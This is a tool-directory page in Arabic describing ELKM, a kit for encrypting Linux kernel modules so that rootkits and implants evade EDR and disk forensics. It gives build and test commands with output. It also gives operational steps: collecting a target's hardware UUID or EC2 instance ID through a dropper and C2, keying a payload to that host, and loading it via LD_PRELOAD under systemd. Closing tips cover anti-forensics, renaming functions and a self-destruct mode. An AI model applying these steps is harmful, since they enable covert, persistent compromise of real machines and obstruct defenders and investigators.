Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
أدوات/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
تصعيد الامتيازاتأدوات التشفير/فك التشفيرآليات الاستمراريةالتهرب من IDS/IPSما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

عرض المستودع
133منذ 5 سنواتلم تتم المراجعة بعد

ELKM: وحدات Kernel القابلة للتحميل المشفَّرة لنظام Linux x86-64

توفر ELKM آلية لنقل وتحميل وحدات Kernel القابلة للتحميل (LKM) المشفَّرة بشكل آمن. الهدف هو حماية الجذور الخفية (rootkits) القائمة على النواة والبرمجيات المزروعة (implants) من المراقبة بواسطة برامج كشف نقاط النهاية والاستجابة (EDR)، وتحييد آثار الاسترداد بواسطة أدوات التحقيق الرقمي في الأقراص (disk forensics).

RHEL/CentOS 7

تمت كتابة ELKM خصيصًا لبيئة RHEL/CentOS 7 ببنية x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

تجهيز بيئة البناء

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

الاختبار الآلي المحلي

ينفّذ السكربت الاختباري 4 اختبارات:

  • كلمة المرور المقدَّمة عبر /sys/class/dmi/id/product_uuid
  • كلمة المرور المقدَّمة عبر http://169.254.169.254/latest/meta-data/instance-id (عند التواجد على EC2)
  • كلمة المرور المقدَّمة عبر البيئة
  • كلمة المرور المقدَّمة عبر stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

البناء وإنشاء حمولة الاختبار يدويًا

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

الاستخدام العملياتي

ربط ELKM بنظام محدد

عبر product_uuid

على النظام المستهدف:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

ملاحظة: ينبغي القيام بذلك بطريقة آلية، على سبيل المثال عبر أداة إسقاط (dropper). أرسِل product_uuid إلى البنية التحتية للتجهيز عبر C2.

على البنية التحتية للتجهيز:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

على النظام المستهدف، قم بتنزيل المُحمِّل (loader) من البنية التحتية للتجهيز، ونفِّذه عبر ملف تنفيذي موثوق:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
عبر معرّف مثيل EC2

على النظام المستهدف:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

ملاحظة: ينبغي القيام بذلك بطريقة آلية، على سبيل المثال عبر أداة إسقاط (dropper). أرسِل معرّف المثيل إلى البنية التحتية للتجهيز عبر C2.

على البنية التحتية للتجهيز:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

على النظام المستهدف، قم بتنزيل المُحمِّل من البنية التحتية للتجهيز، ونفِّذه عبر ملف تنفيذي موثوق:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

لتعيين كلمة المرور للاستخدام مع البيئة أو الصدفة التفاعلية

على البنية التحتية للتجهيز:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

على النظام المستهدف، عبر البيئة:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

أو عبر stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

نصائح

بعض النصائح إذا أردت نشر ELKM عمليًا:

  • لا تقم بالترجمة باستخدام 'debug'
  • غيّر أسماء الدوال
  • نفّذ المزيد من تقنيات مكافحة التحقيق الرقمي
  • فكّر في استبدال OpenSSL بمكتبة تشفير أخرى
  • نفّذ وضع التدمير الذاتي عند فشل كلمات المرور

اخترنا عدم تنفيذ هذه الميزات لتجنّب البصم الرقمي (fingerprinting).

تنزيل الأداة